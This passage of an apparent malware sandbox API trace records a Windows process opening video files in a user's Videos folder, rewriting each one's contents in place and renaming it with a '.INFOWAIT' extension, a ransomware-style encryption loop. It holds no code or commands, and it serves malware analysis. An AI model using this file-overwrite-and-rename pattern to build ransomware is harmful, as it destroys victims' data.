[0121.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\ni0jgy12uvbtolrr.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.255] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdf1 [0121.255] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.256] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.256] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xdf1, lpOverlapped=0x0) returned 1 [0121.259] VirtualAlloc (lpAddress=0x0, dwSize=0xdf1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.260] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.260] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xdf1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xdf1, lpOverlapped=0x0) returned 1 [0121.260] CloseHandle (hObject=0xad4) returned 1 [0121.262] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv" [0121.262] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv.INFOWAIT" [0121.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\ni0jgy12uvbtolrr.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\ni0Jgy12uVbTOlRR.mkv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\ni0jgy12uvbtolrr.mkv.infowait")) returned 1 [0121.263] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.264] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.264] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\8rjzdkr.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.265] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7ddc [0121.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.265] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.265] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7ddc, lpOverlapped=0x0) returned 1 [0121.268] VirtualAlloc (lpAddress=0x0, dwSize=0x7ddc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.271] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.271] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7ddc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7ddc, lpOverlapped=0x0) returned 1 [0121.272] CloseHandle (hObject=0xad4) returned 1 [0121.276] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi" [0121.276] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi.INFOWAIT" [0121.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\8rjzdkr.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\8RjZdKR.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\8rjzdkr.avi.infowait")) returned 1 [0121.276] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.277] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.278] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\g1b3m3.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.278] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17144 [0121.278] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.279] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.279] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x17144, lpOverlapped=0x0) returned 1 [0121.282] VirtualAlloc (lpAddress=0x0, dwSize=0x17144, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.291] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.291] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x17144, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x17144, lpOverlapped=0x0) returned 1 [0121.291] CloseHandle (hObject=0xad4) returned 1 [0121.294] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi" [0121.294] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi.INFOWAIT" [0121.294] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\g1b3m3.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\g1B3M3.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\g1b3m3.avi.infowait")) returned 1 [0121.295] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.296] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.297] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\hq-306b65bqrhoqbr9.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.297] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbe3e [0121.297] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.298] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.298] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbe3e, lpOverlapped=0x0) returned 1 [0121.320] VirtualAlloc (lpAddress=0x0, dwSize=0xbe3e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.324] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.324] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbe3e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbe3e, lpOverlapped=0x0) returned 1 [0121.325] CloseHandle (hObject=0xad4) returned 1 [0121.327] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf" [0121.327] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf.INFOWAIT" [0121.327] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\hq-306b65bqrhoqbr9.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hq-306b65BqrHoqbR9.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\hq-306b65bqrhoqbr9.swf.infowait")) returned 1 [0121.328] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.329] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.329] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\hz-af2m p5axczjor.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.330] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbb82 [0121.330] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.330] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.330] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbb82, lpOverlapped=0x0) returned 1 [0121.333] VirtualAlloc (lpAddress=0x0, dwSize=0xbb82, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.338] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.338] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbb82, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbb82, lpOverlapped=0x0) returned 1 [0121.338] CloseHandle (hObject=0xad4) returned 1 [0121.342] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv" [0121.342] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv.INFOWAIT" [0121.342] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\hz-af2m p5axczjor.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\Hz-AF2m p5AxcZJOR.mkv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\hz-af2m p5axczjor.mkv.infowait")) returned 1 [0121.343] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.344] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.344] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\kpxawd.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.345] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2422 [0121.345] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.345] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.345] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2422, lpOverlapped=0x0) returned 1 [0121.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2422, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.352] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.352] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2422, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2422, lpOverlapped=0x0) returned 1 [0121.352] CloseHandle (hObject=0xad4) returned 1 [0121.354] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4" [0121.354] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4.INFOWAIT" [0121.354] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\kpxawd.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\O89VrUgck0WGUK_Y\\kpXaWD.mp4.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\o89vrugck0wguk_y\\kpxawd.mp4.infowait")) returned 1 [0121.355] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.357] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.357] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\q93t.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.357] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x58db [0121.357] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.357] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.357] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x58db, lpOverlapped=0x0) returned 1 [0121.361] VirtualAlloc (lpAddress=0x0, dwSize=0x58db, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.363] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.363] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x58db, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x58db, lpOverlapped=0x0) returned 1 [0121.363] CloseHandle (hObject=0xad4) returned 1 [0121.366] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi" [0121.366] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi.INFOWAIT" [0121.366] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\q93t.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\q93T.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\q93t.avi.infowait")) returned 1 [0121.367] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.368] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.368] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qruuxssnmlojdjr 6u.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.368] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x58af [0121.368] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.369] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.369] ReadFile 